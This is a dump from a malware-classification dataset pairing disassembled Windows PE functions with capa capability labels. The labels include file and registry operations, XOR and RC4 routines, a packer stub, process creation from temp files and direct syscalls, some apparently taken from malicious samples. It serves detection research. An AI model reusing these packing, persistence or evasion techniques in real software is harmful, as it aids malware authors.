joyce8/EMBER2024-capa huggingface dataset:
Function at 0x563a10
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57fd3d
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push esi
push edi
mov eax, dword [0x5df440]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
mov eax, edi
cmp dword [edi + 0x14], 7
jbe 0x563a44
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
mov dword [ebp - 0x14], esi
cmp esi, 0xffffffff
jne 0x563a78
push dword [ebp + 0x10]
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.005638e0
add esp, 0xc
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
push edi
call fcn.005637b0
add esp, 8
mov edx, eax
mov dword [ebp - 0x10], edx
test esi, 0x400
je 0x563b50
cmp dword [edi + 0x14], 7
mov edx, edi
jbe 0x563a9d
mov edx, dword [edi]
mov ecx, edx
mov dword [ebp - 0x20], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x30], xmm0
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x563ab7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x30]
call fcn.00447d68
cmp dword [ebp - 0x1c], 7
lea eax, [ebp - 0x30]
push 0
cmova eax, dword [ebp - 0x30]
push 0x2000000
push 3
push 0
push 7
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0
call fcn.00451620
cmp esi, 0xffffffff
je 0x563a55
push edi
call fcn.005636b0
add esp, 4
push esi
test al, al
jne 0x563b44
mov edi, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
mov dword [edi], 9
mov dword [edi + 4], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x563b68
mov dword [eax], 0
mov byte [eax + 4], 0
mov dword [eax + 8], 0x58f050
and esi, 0x10
je 0x563b72
mov edi, dword [ebp - 0x18]
jmp 0x563b77
mov edi, edx
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
xor ecx, ecx
test esi, esi
setne cl
add ecx, 2
test esi, esi
mov dword [eax], ecx
cmove edx, edi
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x564b50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x564b7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x564b7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4026c0
Capabilities:
Copy file
Encode data using xor
Get common file path

Disassembly:
push esi
push edi
push 0
push 0
push 0
push str.efbg
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push 0
push 0x407114
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [esp + 0xc]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
test edi, edi
jle 0x402732
mov ecx, dword [esp + 0x10]
mov dl, byte [esp + 0x14]
push ebx
push ebp
mov eax, ecx
sub esi, ecx
mov ebp, edi
mov bl, byte [esi + eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec ebp
jne 0x40271c
pop ebp
mov byte [edi + ecx], 0
pop ebx
pop edi
pop esi
ret 0xc
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov byte [eax + ecx], 0
ret 0xc

Function at 0x402740
Capabilities:
Get disk information

Disassembly:
sub esp, 0x68
push esi
push edi
push 0
push 0
push 0
lea eax, [esp + 0x14]
push 0
push eax
push 0xc
push 0
push 0x407144
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [esp + 8]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
lea edx, [esp + 0x10]
push 0x407140
push edx
call esi
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x4027c0
push 0x40713c
push 0x407138
push 0x407134
push 0x407130
push 0x40712c
push 0x407128
lea eax, [esp + 0x24]
push str._s_s_s_s_s_s
push eax
call esi
add esp, 0x20
lea ecx, [esp + 0xc]
push ecx
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
xor ecx, ecx
test eax, eax
je 0x4027ec
push eax
mov esi, 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
add esp, 0x68
ret
pop edi
mov eax, ecx
pop esi
add esp, 0x68
ret
Function at 0x402a50
Capabilities:
Create process on windows
Delete file

Disassembly:
sub esp, 0x26c
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x71]
mov byte [esp + 0x70], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x1c]
mov ecx, esi
push eax
call fcn.00402ce0
mov eax, dword [eax + 4]
test eax, eax
jne 0x402a88
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea ecx, [esp + 0x74]
push 0x407168
push ecx
call ebp
mov eax, dword [esp + 0x2c]
add esp, 0xc
test eax, eax
je 0x402ac3
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x402aba
cmp al, 0xff
je 0x402aba
dec al
mov byte [ecx], al
jmp 0x402ac3
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov edi, dword [esp + 0x27c]
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea edx, [esp + 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x70]
mov ecx, esi
push eax
push edi
call fcn.00402bf0
test eax, eax
je 0x402be0
lea ecx, [esp + 0x70]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x402be0
xor edx, edx
mov ecx, 0x11
mov dword [esp + 0xc], edx
xor eax, eax
lea edi, [esp + 0x2c]
mov dword [esp + 0x10], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], edx
mov ecx, 0x40
lea edi, [esp + 0x175]
mov word [esp + 0x5c], ax
mov byte [esp + 0x174], dl
push 0x407164
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x74]
lea ecx, [esp + 0x178]
push eax
push str._s_s
push ecx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 1
mov dword [esp + 0x28], edx
call ebp
add esp, 0x10
lea edx, [esp + 0xc]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x174]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402be0
mov eax, dword [esp + 0x280]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
mov eax, dword [esp + 0xc]
shl edx, 3
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x26c
ret 8
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x26c
ret 8
Function at 0x402bf0
Capabilities:
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x40437b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x418
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push esi
push 0x407174
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push str.plhc
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
lea ecx, [esp + 0x14]
mov edi, 0xffffff9b
mov dword [esp + 0x10], esi
call fcn.00401000
mov ebx, dword [esp + 0x43c]
mov ebp, dword [esp + 0x438]
mov dword [esp + 0x430], esi
test edi, edi
je 0x402c87
push 1
push ebx
lea eax, [esp + 0x18]
push 0
push eax
push ebp
lea ecx, [esp + 0x28]
call fcn.00401060
push 0x1f4
mov edi, eax
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, 4
jl 0x402c5c
pop edi
cmp esi, 4
pop esi
pop ebp
pop ebx
mov dword [esp + 0x420], 0xffffffff
lea ecx, [esp + 4]
jne 0x402cbd
call fcn.00401050
xor eax, eax
mov ecx, dword [esp + 0x418]
mov dword fs:[0], ecx
add esp, 0x424
ret 8
call fcn.00401050
mov ecx, dword [esp + 0x418]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x424
ret 8
Function at 0x402ce0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x40c
push ebx
push ebp
push esi
lea eax, [esp + 0x14]
push edi
xor esi, esi
push eax
push 0x3f5
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x18]
lea edx, [esp + 0x18]
push ecx
push esi
push 0x407178
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ebp, dword [esp + 0x420]
mov al, byte [esp + 0x13]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
mov byte [ebp], al
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp + 4], esi
mov ebx, ecx
mov dword [ebp + 8], esi
cmp ebx, 0xfffffffd
mov dword [ebp + 0xc], esi
jbe 0x402d48
call dword [sym.imp.MSVCP60.dll_void___cdecl_std::_Xlen_void_]
mov ecx, dword [ebp + 4]
cmp ecx, esi
je 0x402d7b
mov al, byte [ecx - 1]
test al, al
je 0x402d7b
cmp al, 0xff
je 0x402d7b
cmp ebx, esi
jne 0x402dae
dec al
push esi
mov byte [ecx - 1], al
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x40c
ret 4
cmp ebx, esi
jne 0x402d98
push 1
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x40c
ret 4
mov eax, dword [ebp + 0xc]
cmp eax, 0x1f
ja 0x402da4
cmp eax, ebx
jae 0x402db7
push 1
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push ebx
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Copy_unsigned_int_]
mov edi, dword [ebp + 4]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 4]
mov dword [ebp + 8], ebx
pop edi
pop esi
mov byte [eax + ebx], 0
mov eax, ebp
pop ebp
pop ebx
add esp, 0x40c
ret 4
Function at 0x403950
Capabilities:
Clear file content
Copy file
Set registry value

Disassembly:
sub esp, 0x10c
push edi
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push str.ehsc
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 4]
push eax
push str.SoftwareASD
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 8]
push ecx
stosb byte es:[edi], al
call sub.MFC42.DLL_CTime::GetTickCount
mov eax, dword [eax]
lea edx, [esp + 0xc]
push 0xa
push edx
push eax
call dword [sym.imp.MSVCRT.dll__ltoa]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
mov edx, dword [esp + 4]
dec ecx
push ecx
lea ecx, [esp + 0x10]
push ecx
push 1
push eax
push 0x4071c0
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x10c
ret
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x62d16934
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x45af4320
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0xb08370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xb0838e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xb31074
push ecx
mov edi, eax
call fcn.00b1c198
mov esi, eax
add esp, 8
test esi, esi
jne 0xb083cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00b1c02e
push esi
call fcn.00b1bfb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xb0b850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xb0b8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xb36720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xb0b8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00b1c1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xb0b8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xb36720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xb0b92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00b1d082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xb0b957
mov word [eax], si
add eax, 2
push eax
call fcn.00b1d030
add esp, 4
jmp 0xb0b959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xb0b8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xb0b8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xb0bff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xb0c080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xb0c0c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xb31458
push ecx
call fcn.00b1c1e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00b1c1e1
add esp, 0x10
jmp 0xb0c0d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00b1c20b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00b1bdff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00b0c050
mov eax, dword [0xb36728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xb0c13b
push esi
call fcn.00b0bfb0
add esp, 4
mov dword [0xb36728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xb0c14c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00b0bff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xb0f440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xb0f4b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xb0f48e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xb0f471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xb0f47e
add edx, ecx
cmp ebx, edx
jb 0xb0f48a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xb0f467
xor ecx, ecx
jmp 0xb0f4a2
test eax, eax
jne 0xb0f492
xor ecx, ecx
jmp 0xb0f4a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00b0f3c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xb0f8f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xb0f921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xb0f946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xb0f96e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xb0f993
push ecx
push esi
call fcn.00b0f4c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0xb10c00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0xb10c4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0xb10c2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0xb10c38
add edx, eax
cmp ebx, edx
jb 0xb10c46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0xb10c21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0xb10c50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0xb10c70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xb10cb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xb10c9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xb10ca8
add edx, ecx
cmp ebx, edx
jb 0xb10cb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0xb10c91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0xb10f60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00b1d145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0xb10ffb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0xb10fdd
lea eax, [esp + 0x18]
push eax
jmp 0xb10fe2
push 0xb36720
call fcn.00b1cfd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0xb10fb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0xb10f40
push 4
push ecx
push eax
call fcn.00b1d43f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret